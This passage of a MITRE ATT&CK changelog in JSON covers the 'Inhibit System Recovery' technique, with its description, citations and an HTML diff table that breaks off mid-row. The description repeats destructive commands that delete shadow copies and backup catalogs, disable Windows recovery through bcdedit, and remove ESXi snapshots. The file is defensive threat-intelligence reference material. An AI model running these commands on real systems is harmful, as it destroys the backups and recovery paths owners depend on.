                    "changelog_detectionstrategy_detections": {
                        "shared": [],
                        "new": [
                            "DET0942: Retrieved Instruction with Unauthorized Agent Action"
                        ],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2019-04-02 13:54:43.136000+00:00",
                    "modified": "2026-11-04 00:47:26.815000+00:00",
                    "name": "Inhibit System Recovery",
                    "description": "Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>\n* <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>\n* <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>\n* <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n* <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code>(Citation: Diskshadow)(Citation: Crytox Ransomware)\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nOn ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).(Citation: Cybereason)\n\nAdversaries may also delete \u201conline\u201d backups that are connected to their network \u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "impact"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1490",
                            "external_id": "T1490"
                        },
                        {
                            "source_name": "Dark Reading Code Spaces Cyber Attack",
                            "description": " Brian Prince. (2014, June 20). Code Hosting Service Shuts Down After Cyber Attack. Retrieved March 21, 2023.",
                            "url": "https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack"
                        },
                        {
                            "source_name": "FireEye WannaCry 2017",
                            "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                            "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"
                        },
                        {
                            "source_name": "Cybereason",
                            "description": "Cybereason Nocturnus. (n.d.). Cybereason vs. BlackCat Ransomware. Retrieved March 26, 2025.",
                            "url": "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware"
                        },
                        {
                            "source_name": "Talos Olympic Destroyer 2018",
                            "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                            "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                        },
                        {
                            "source_name": "Diskshadow",
                            "description": "Microsoft Windows Server. (2023, February 3). Diskshadow. Retrieved November 21, 2023.",
                            "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow"
                        },
                        {
                            "source_name": "Crytox Ransomware",
                            "description": "Romain Dumont . (2022, September 21). Technical Analysis of Crytox Ransomware. Retrieved November 22, 2023.",
                            "url": "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware"
                        },
                        {
                            "source_name": "Rhino Security Labs AWS S3 Ransomware",
                            "description": "Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware Part 2: Prevention and Defense. Retrieved March 21, 2023.",
                            "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/"
                        },
                        {
                            "source_name": "ZDNet Ransomware Backups 2020",
                            "description": "Steve Ranger. (2020, February 27). Ransomware victims thought their backups were safe. They were wrong. Retrieved March 21, 2023.",
                            "url": "https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/"
                        },
                        {
                            "source_name": "disable_notif_synology_ransom",
                            "description": "TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved September 12, 2024.",
                            "url": "https://x.com/TheDFIRReport/status/1498657590259109894"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Yonatan Gotlib, Deep Instinct",
                        "Austin Clark, @c2defense",
                        "Pallavi Sivakumaran, WithSecure",
                        "Joey Lei",
                        "Harjot Shah Singh"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_impact_type": [
                        "Availability"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Containers",
                        "ESXi",
                        "IaaS",
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Windows"
                    ],
                    "x_mitre_version": "1.6",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:47:26.815000+00:00\", \"old_value\": \"2026-05-12 15:12:00.724000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\\n\\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\\n\\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\\n\\n* <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>\\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>\\n* <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>\\n* <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>\\n* <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\\n* <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code>(Citation: Diskshadow)(Citation: Crytox Ransomware)\\n\\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\\n\\nOn ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).(Citation: Cybereason)\\n\\nAdversaries may also delete \\u201conline\\u201d backups that are connected to their network \\u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)\", \"old_value\": \"Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\\n\\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\\n\\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\\n\\n* <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>\\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>\\n* <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>\\n* <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>\\n* <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\\n* <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code> (Citation: Diskshadow) (Citation: Crytox Ransomware)\\n\\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\\n\\nOn ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).(Citation: Cybereason)\\n\\nAdversaries may also delete \\u201conline\\u201d backups that are connected to their network \\u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)\", \"diff\": \"--- \\n+++ \\n@@ -9,7 +9,7 @@\\n * <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>\\n * <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>\\n * <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\\n-* <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code> (Citation: Diskshadow) (Citation: Crytox Ransomware)\\n+* <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code>(Citation: Diskshadow)(Citation: Crytox Ransomware)\\n \\n On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\\n \"}}}",
                    "previous_version": "1.6",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to35__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to35__0\"><a href=\"#difflib_chg_to35__top\">t</a></td><td class=\"diff_header\" id=\"from35_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;delete&nbsp;or&nbsp;remove&nbsp;built-in&nbsp;data&nbsp;and&nbsp;turn&nbsp;off&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to35__top\">t</a></td><td class=\"diff_header\" id=\"to35_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;delete&nbsp;or&nbsp;remove&nbsp;built-in&nbsp;data&nbsp;and&nbsp;turn&nbsp;off&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">services&nbsp;designed&nbsp;to&nbsp;aid&nbsp;in&nbsp;the&nbsp;recovery&nbsp;of&nbsp;a&nbsp;corrupted&nbsp;syst</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">services&nbsp;designed&nbsp;to&nbsp;aid&nbsp;in&nbsp;the&nbsp;recovery&nbsp;of&nbsp;a&nbsp;corrupted&nbsp;syst</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em&nbsp;to&nbsp;prevent&nbsp;recovery.(Citation:&nbsp;Talos&nbsp;Olympic&nbsp;Destroyer&nbsp;20</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em&nbsp;to&nbsp;prevent&nbsp;recovery.(Citation:&nbsp;Talos&nbsp;Olympic&nbsp;Destroyer&nbsp;20</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">18)(Citation:&nbsp;FireEye&nbsp;WannaCry&nbsp;2017)&nbsp;This&nbsp;may&nbsp;deny&nbsp;access&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">18)(Citation:&nbsp;FireEye&nbsp;WannaCry&nbsp;2017)&nbsp;This&nbsp;may&nbsp;deny&nbsp;access&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;available&nbsp;backups&nbsp;and&nbsp;recovery&nbsp;options.&nbsp;&nbsp;Operating&nbsp;systems&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;available&nbsp;backups&nbsp;and&nbsp;recovery&nbsp;options.&nbsp;&nbsp;Operating&nbsp;systems&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;contain&nbsp;features&nbsp;that&nbsp;can&nbsp;help&nbsp;fix&nbsp;corrupted&nbsp;systems,&nbsp;su</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;contain&nbsp;features&nbsp;that&nbsp;can&nbsp;help&nbsp;fix&nbsp;corrupted&nbsp;systems,&nbsp;su</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch&nbsp;as&nbsp;a&nbsp;backup&nbsp;catalog,&nbsp;volume&nbsp;shadow&nbsp;copies,&nbsp;and&nbsp;automatic&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch&nbsp;as&nbsp;a&nbsp;backup&nbsp;catalog,&nbsp;volume&nbsp;shadow&nbsp;copies,&nbsp;and&nbsp;automatic&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">repair&nbsp;features.&nbsp;Adversaries&nbsp;may&nbsp;disable&nbsp;or&nbsp;delete&nbsp;system&nbsp;re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">repair&nbsp;features.&nbsp;Adversaries&nbsp;may&nbsp;disable&nbsp;or&nbsp;delete&nbsp;system&nbsp;re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">covery&nbsp;features&nbsp;to&nbsp;augment&nbsp;the&nbsp;effects&nbsp;of&nbsp;[Data&nbsp;Destruction]</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">covery&nbsp;features&nbsp;to&nbsp;augment&nbsp;the&nbsp;effects&nbsp;of&nbsp;[Data&nbsp;Destruction]</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1485)&nbsp;and&nbsp;[Data&nbsp;Encryp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1485)&nbsp;and&nbsp;[Data&nbsp;Encryp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted&nbsp;for&nbsp;Impact](https://attack.mitre.org/techniques/T1486).(</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted&nbsp;for&nbsp;Impact](https://attack.mitre.org/techniques/T1486).(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Citation:&nbsp;Talos&nbsp;Olympic&nbsp;Destroyer&nbsp;2018)(Citation:&nbsp;FireEye&nbsp;Wa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Citation:&nbsp;Talos&nbsp;Olympic&nbsp;Destroyer&nbsp;2018)(Citation:&nbsp;FireEye&nbsp;Wa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nnaCry&nbsp;2017)&nbsp;Furthermore,&nbsp;adversaries&nbsp;may&nbsp;disable&nbsp;recovery&nbsp;n</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nnaCry&nbsp;2017)&nbsp;Furthermore,&nbsp;adversaries&nbsp;may&nbsp;disable&nbsp;recovery&nbsp;n</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">otifications,&nbsp;then&nbsp;corrupt&nbsp;backups.(Citation:&nbsp;disable_notif_</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">otifications,&nbsp;then&nbsp;corrupt&nbsp;backups.(Citation:&nbsp;disable_notif_</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">synology_ransom)&nbsp;&nbsp;A&nbsp;number&nbsp;of&nbsp;native&nbsp;Windows&nbsp;utilities&nbsp;have&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">synology_ransom)&nbsp;&nbsp;A&nbsp;number&nbsp;of&nbsp;native&nbsp;Windows&nbsp;utilities&nbsp;have&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">been&nbsp;used&nbsp;by&nbsp;adversaries&nbsp;to&nbsp;disable&nbsp;or&nbsp;delete&nbsp;system&nbsp;recover</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">been&nbsp;used&nbsp;by&nbsp;adversaries&nbsp;to&nbsp;disable&nbsp;or&nbsp;delete&nbsp;system&nbsp;recover</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;features:&nbsp;&nbsp;*&nbsp;&lt;code&gt;vssadmin.exe&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;dele</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;features:&nbsp;&nbsp;*&nbsp;&lt;code&gt;vssadmin.exe&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;dele</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;all&nbsp;volume&nbsp;shadow&nbsp;copies&nbsp;on&nbsp;a&nbsp;system&nbsp;-&nbsp;&lt;code&gt;vssadmin.exe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;all&nbsp;volume&nbsp;shadow&nbsp;copies&nbsp;on&nbsp;a&nbsp;system&nbsp;-&nbsp;&lt;code&gt;vssadmin.exe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;delete&nbsp;shadows&nbsp;/all&nbsp;/quiet&lt;/code&gt;&nbsp;*&nbsp;[Windows&nbsp;Management&nbsp;Ins</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;delete&nbsp;shadows&nbsp;/all&nbsp;/quiet&lt;/code&gt;&nbsp;*&nbsp;[Windows&nbsp;Management&nbsp;Ins</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">trumentation](https://attack.mitre.org/techniques/T1047)&nbsp;can</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">trumentation](https://attack.mitre.org/techniques/T1047)&nbsp;can</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;be&nbsp;used&nbsp;to&nbsp;delete&nbsp;volume&nbsp;shadow&nbsp;copies&nbsp;-&nbsp;&lt;code&gt;wmic&nbsp;shadowc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;be&nbsp;used&nbsp;to&nbsp;delete&nbsp;volume&nbsp;shadow&nbsp;copies&nbsp;-&nbsp;&lt;code&gt;wmic&nbsp;shadowc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">opy&nbsp;delete&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;wbadmin.exe&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">opy&nbsp;delete&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;wbadmin.exe&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">delete&nbsp;the&nbsp;Windows&nbsp;Backup&nbsp;Catalog&nbsp;-&nbsp;&lt;code&gt;wbadmin.exe&nbsp;delete</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">delete&nbsp;the&nbsp;Windows&nbsp;Backup&nbsp;Catalog&nbsp;-&nbsp;&lt;code&gt;wbadmin.exe&nbsp;delete</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;catalog&nbsp;-quiet&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;bcdedit.exe&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;use</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;catalog&nbsp;-quiet&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;bcdedit.exe&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;to&nbsp;disable&nbsp;automatic&nbsp;Windows&nbsp;recovery&nbsp;features&nbsp;by&nbsp;modifyin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;to&nbsp;disable&nbsp;automatic&nbsp;Windows&nbsp;recovery&nbsp;features&nbsp;by&nbsp;modifyin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;boot&nbsp;configuration&nbsp;data&nbsp;-&nbsp;&lt;code&gt;bcdedit.exe&nbsp;/set&nbsp;{default}</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;boot&nbsp;configuration&nbsp;data&nbsp;-&nbsp;&lt;code&gt;bcdedit.exe&nbsp;/set&nbsp;{default}</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;bootstatuspolicy&nbsp;ignoreallfailures&nbsp;&amp;&nbsp;bcdedit&nbsp;/set&nbsp;{default}</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;bootstatuspolicy&nbsp;ignoreallfailures&nbsp;&amp;&nbsp;bcdedit&nbsp;/set&nbsp;{default}</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;recoveryenabled&nbsp;no&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;REAgentC.exe&lt;/code&gt;&nbsp;can&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;recoveryenabled&nbsp;no&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;REAgentC.exe&lt;/code&gt;&nbsp;can&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;used&nbsp;to&nbsp;disable&nbsp;Windows&nbsp;Recovery&nbsp;Environment&nbsp;(WinRE)&nbsp;repai</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;used&nbsp;to&nbsp;disable&nbsp;Windows&nbsp;Recovery&nbsp;Environment&nbsp;(WinRE)&nbsp;repai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r/recovery&nbsp;options&nbsp;of&nbsp;an&nbsp;infected&nbsp;system&nbsp;*&nbsp;&lt;code&gt;diskshadow.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r/recovery&nbsp;options&nbsp;of&nbsp;an&nbsp;infected&nbsp;system&nbsp;*&nbsp;&lt;code&gt;diskshadow.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">exe&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;delete&nbsp;all&nbsp;volume&nbsp;shadow&nbsp;copies&nbsp;on</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">exe&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;delete&nbsp;all&nbsp;volume&nbsp;shadow&nbsp;copies&nbsp;on</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;system&nbsp;-&nbsp;&lt;code&gt;diskshadow&nbsp;delete&nbsp;shadows&nbsp;all&lt;/code&gt;<span class=\"diff_sub\">&nbsp;</span>(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;system&nbsp;-&nbsp;&lt;code&gt;diskshadow&nbsp;delete&nbsp;shadows&nbsp;all&lt;/code&gt;(Citat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Diskshadow)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Crytox&nbsp;Ransomware)&nbsp;&nbsp;On&nbsp;network&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;Diskshadow)(Citation:&nbsp;Crytox&nbsp;Ransomware)&nbsp;&nbsp;On&nbsp;network&nbsp;de</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">devices,&nbsp;adversaries&nbsp;may&nbsp;leverage&nbsp;[Disk&nbsp;Wipe](https://attack</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 